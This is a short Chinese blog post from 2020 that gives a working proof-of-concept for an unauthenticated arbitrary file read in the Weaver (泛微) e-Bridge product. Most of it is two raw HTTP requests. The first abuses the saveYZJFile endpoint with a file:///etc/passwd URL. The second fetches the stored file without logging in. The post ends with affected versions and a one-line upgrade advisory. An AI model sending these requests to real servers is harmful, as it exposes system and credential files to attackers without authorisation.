泛微云桥任意文件读取漏洞 

GET /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt HTTP/1.1
User-Agent: curl/7.29.0
Host: xxxxx
Accept: */*

　　

 

 

GET /file/fileNoLogin/xxxxxxxxxx HTTP/1.1
User-Agent: curl/7.29.0
Host: xxxxx
Accept: */*

　提交上一步响应包中的id

 

 

 

漏洞影响版本：

　　该漏洞几乎影响2018-2019全版本

 

 处置建议：

升级至最新版

posted @ 2020-09-12 17:38  逗比大师  阅读(3167)  评论(0)  编辑  收藏  举报